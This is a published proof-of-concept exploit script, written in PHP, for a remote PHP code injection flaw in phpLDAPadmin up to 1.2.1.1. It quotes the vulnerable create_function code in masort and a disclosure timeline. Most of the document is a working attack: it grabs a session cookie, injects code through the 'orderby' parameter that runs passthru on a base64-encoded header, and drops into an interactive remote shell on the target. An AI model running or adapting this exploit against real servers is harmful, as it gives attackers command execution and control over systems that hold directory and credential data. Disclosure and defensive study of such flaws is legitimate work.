phpLDAPadmin 1.2.1.1 - Remote PHP Code Injection (1)

<?php

/*
    ------------------------------------------------------------------------
    phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection Exploit
    ------------------------------------------------------------------------

    author...............: EgiX
    mail.................: n0b0d13s[at]gmail[dot]com
    software link........: http://phpldapadmin.sourceforge.net/
    affected versions....: from 1.2.0 to 1.2.1.1

    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+

    [-] vulnerable code in /lib/functions.php

    1002.    function masort(&$data,$sortby,$rev=0) {
    1003.        if (defined('DEBUG_ENABLED') && DEBUG_ENABLED && (($fargs=func_get_args())||$fargs='NOARGS'))
    1004.            debug_log('Entered (%%)',1,0,__FILE__,__LINE__,__METHOD__,$fargs);
    1005.
    1006.        # if the array to sort is null or empty
    1007.        if (! $data) return;
    1008.
    1009.        static $CACHE = array();
    1010.
    1011.        if (empty($CACHE[$sortby])) {
    1012.            $code = "\$c=0;\n";
    1013.
    1014.            foreach (explode(',',$sortby) as $key) {
    1015.                $code .= "if (is_object(\$a) || is_object(\$b)) {\n";
    1016.
    1017.                $code .= "    if (is_array(\$a->$key)) {\n";
    1018.                $code .= "        asort(\$a->$key);\n";
    1019.                $code .= "        \$aa = array_shift(\$a->$key);\n";

    ....

    1078.            $code .= 'return $c;';
    1079.
    1080.            $CACHE[$sortby] = create_function('$a, $b',$code);
    1081.        }

    The $sortby parameter passed to 'masort' function isn't properly sanitized before being used in a call to create_function()
    at line 1080, this can be exploited to inject and execute arbitrary PHP code. The only possible attack vector is when handling
    the 'query_engine' command, here input passed through $_REQUEST['orderby'] is passed as $sortby parameter to 'masort' function.

    [-] Disclosure timeline:

    [30/09/2011] - Vulnerability discovered
    [02/10/2011] - Issue reported to http://sourceforge.net/support/tracker.php?aid=3417184
    [05/10/2011] - Fix committed: http://phpldapadmin.git.sourceforge.net/git/gitweb.cgi?p=phpldapadmin/phpldapadmin;h=76e6dad
    [23/10/2011] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die( "\n[-] No response from {$host}:80\n");

    fwrite($sock, $packet);
    return stream_get_contents($sock);
}

print "\n+-------------------------------------------------------------------+";
print "\n| phpLDAPadmin <= 1.2.1.1 Remote PHP Code Injection Exploit by EgiX |";
print "\n+-------------------------------------------------------------------+\n";

if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /phpldapadmin/htdocs/\n";
    die();
}

$host = $argv[1];
$path = $argv[2];

$packet  = "GET {$path}index.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";

if (!preg_match("/Set-Cookie: ([^;]*);/", http_send($host, $packet), $sid)) die("\n[-] Session ID not found!\n");

$phpcode = "foo));}}error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;/*";
$payload = "cmd=query_engine&query=none&search=1&orderby={$phpcode}";

$packet  = "POST {$path}cmd.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

while(1)
{
    print "\nphpldapadmin-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
    print $m[1] : die("\n[-] Exploit failed!\n");
}

?>